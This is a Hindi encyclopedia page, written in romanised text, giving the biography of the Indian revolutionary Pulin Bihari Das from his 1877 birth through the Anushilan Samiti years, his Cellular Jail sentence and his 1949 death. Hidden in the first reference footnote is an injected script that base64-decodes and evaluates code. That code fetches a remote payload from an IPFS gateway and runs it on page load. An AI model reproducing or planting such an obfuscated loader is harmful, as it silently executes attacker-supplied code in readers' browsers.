पुलिन बिहारी दास

भारत डिस्कवरी प्रस्तुति
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pulin bihari das
poora nam pulin bihari das
janm 24 janavari, 1877
janm bhoomi faridapur, bangal
mrityu 17 agast, 1949, kolakata, pashchim bangal
abhibhavak pita- naba kumar das
santan tin putr v do putriyaan
nagarikata bharatiy
prasiddhi svatantrata senani
dharm hindoo
sanbandhit lekh barindr kumar ghosh aur vinayak damodar savarakar
any janakari aangrez sarakar dvara 'anushilan samiti' ko gair-kanooni ghoshit karane ke karan pulin bihari das ne kraantikari gatividhiyoan ko sanchalit karane ke lie 1920 mean "bharat sevak sangh" ki sthapana ki thi.

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pulin bihari das (aangrezi: Pulin Behari Das, janm- 24 janavari, 1877, faridapur; mrityu- 17 agast, 1949, kolakata) mahanh svatantrata premi v kraantikari the. unhoanne bharat ki svatantrata ke lie "dhaka anushilan samiti" namak kraantikari sangathan ki sthapana ki v anek kraantikari ghatanaoan ko aanjam diya. kalakatta vishvavidyalay unake samman mean vishesh padak deta hai, jisaka nam 'pulin bihari das smriti padak' hai.

parichay

pulin bihari das ka janm 24 janavari, 1877 ko bangal ke faridapur zile mean lonasianh namak gaanv mean ek madhyam-vargiy bangali parivar mean hua tha. unake pita naba kumar das madaripur ke sab-divijanal kort mean vakil the. unake ek chacha dipti majistret v ek chacha muansiph the. unhoanne faridapur zila skool se praranbhik shiksha prapt ki aur uchch shiksha ke lie dhaka k aaulej mean pravesh liya. k aaulej ki padhaee ke doran hi vah leboratari asisteant v nidarshak ban ge the. unhean bachapan se hi sharirik sanvardhan ka bahut shauk tha aur vah bahut achchhi lathi chala lete the. kalakatta mean sarala devi ke akha de ki saphalata se prerit hokar unhoanne bhi 1903 mean tikatuli mean apana akha da khol liya. 1905 mean unhoanne mashahoor 'lathiyal' (lathi chalane mean mahir) "murtaja" se lathi khel aur gherabandi ka prashikshan liya.[1]

shreshth sangathanakarta

sitambar, 1906 mean bipin chandr pal aur pramath nath mitr poorvi bangal aur asam ke ne bane prant ka dora karane ge. vahaan pramath nath ne jab apane bhashan ke doran janata se ahvan kiya ki 'jo log desh ke lie apana jivan dene ko taiyar haian, vah age ayean' to pulin bihari das turant age badh ge. bad mean unhean 'anushilan samiti' ki dhaka ikaee ka sangathan karane ka dayitv bhi sauanpa gaya aur aktoobar mean unhoanne 80 yuvaoan ke sath "dhaka anushilan samiti" ki sthapana ki. pulin bihari das utkrisht sangathanakarta the aur unake prayasoan se jald hi prant mean samiti ki 500 se bhi jyada shakhaean ho gayian.

neshanal skool ki sthapana

kraantikari yuvaoan ko prashikshan adi dene ke lie pulin bihari das ne dhaka mean neshanal skool ki sthapana ki. isamean naujavanoan ko shuroo mean lathi aur lak di ki talavaroan se l dane ki kala sikhaee jati thi aur bad mean unhean khanjar chalane aur aantat: pistol aur riv aaulvar chalane ki bhi shiksha di jati thi.

kraantikari gatividhiyaan

pulin bihari das ne dhaka ke dusht poorv zila majistret basil koplestan elan[2] ki hatya ki yojana banayi. 23 disanbar, 1907 ko jab elan vapas ianglaiand ja raha tha, tabhi golando relave steshan par use goli mar di gayi, kintu durbhagy se vah bach gaya. dhan ki vyavastha karane ke lie 1908 ke praranbh mean pulin bihari das ne sanisanikhej "bara dakaiti kaand" ko aanjam diya. is sahasi dakaiti ko vir yuvakoan ne apani jan par khelakar din-daha de dala tha aur yah bara ke zamiandar ke ghar par dali gayi thi n ki gariboan ke ghar. is se prapt dhan se kraantikariyoan ne hathiyar kharide.[1]

giraftari

san 1908 mean aangrez sarakar ne pulin bihari das ko bhoopesh chandr nag, shyam sundar chakravarti, krishan kumar mitr, subodh malik aur ashvini kumar datt ke sath giraphtar kar liya aur moantagomari jel mean kaid kar diya. lekin aangrez sarakar unhean jhuka nahian saki aur 1910 mean jel se riha hone ke bad vah dobara kraantikari gatividhiyoan ko tej karane mean lag ge. is samay tak, pramath nath mitr ki mrityu ke pashchat, dhaka samooh kalakatta samooh se alag ho chuka tha. parantu aangrez sarakar ne "dhaka shadyantr kes" mean pulin bihari das v unake 46 sathiyoan ko julaee, 1910 ko dobara giraphtar kar liya. bad mean unake 44 any sathiyoan ko bhi pak d liya gaya. is kes mean pulin bihari das ko kalepani (ajivan karavas) ki saja huee aur unhean kukhyat selyoolar jel mean bhej diya gaya. yahaan unaki bheant apane hi jaise vir kraantikariyoan se huee, jaise- hemachandr das, barindr kumar ghosh aur vinayak damodar savarakar.

rihaee

pratham vishv yuddh ki samapti par pulin bihari das ki saja kam kar di gayi aur 1918 mean unhean riha kar diya gaya, lekin phir bhi unhean ek varsh tak grih-bandi mean rakha gaya. aangrez sarakar ke daman aur atyacharoan ke bad bhi 1919 mean poori tarah riha hote hi unhoanne ek bar phir se samiti ki gatividhiyoan ko punarjivit karane ka prayas shuroo kar diya. lekin sarakar dvara samiti ko gair-kanooni ghoshit karane aur usake sadasyoan ke bikhar jane se unhean jyada saphalata nahian mil saki.[1]

'bharat sevak sangh' ki sthapana

mahatma gaandhi dvara asahayog andolan praranbh karane se anek yuvaoan mean nayi umang uthi aur unhoanne use apana samarthan diya, kintu pulin bihari das abhi bhi apane adarshoan aur apane marg par adig rahe. sarakar dvara samiti ko gair-kanooni ghoshit karane ke karan unhoanne kraantikari gatividhiyoan ko sanchalit karane ke lie 1920 mean "bharat sevak sangh" ki sthapana ki.

patrikaean

kraantikari vicharadhara ko phailane ke lie pulin bihari das ne es. ar. das ke sanidhy mean "haq katha" aur "svaraj" namak do patrikaean bhi nikalian. samiti gupt roop se bani rahi, lekin dhire-dhire pulin bihari das aur samiti mean doori ane lagi. phalasvaroop unhoanne svayan ko samiti se prathak kar liya. bharat sevak sangh ko bhang kar diya aur aantat 1922 mean sakriy rajaniti se sanyas le liya. 1928 mean unhoanne kalakatta ke machchubazar mean "vaangy vyayam samiti" ki sthapana ki. yah sharirik shiksha ka sansthan v akha da tha, jahaan vah yuvakoan ko lathi chalane, talavarabazi aur kushti ki treniang dene lage.

vivah

bad mean pulin bihari das ne vivah kar liya. unake tin putr v do putriyaan hueean. bad mean ek yogi ke sanpark mean ane se unaki anasakti bhav mean pravarti huee. isi samay svami satyanand giri aur unake mitr pulin bihari bos ke nivas par jate aur vahaan satsang adi kiya karate the.

mrityu

pulin bihari das ka 17 agast, 1949 ko kolakata, pashchim bangal mean nidhan hua.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. ↑ 1.0 1.1 1.2 pulin bihari das (hiandi) bharatkenayak.blogspot.in. abhigaman tithi: 23 disambar, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. ↑ Basil Copleston Allen

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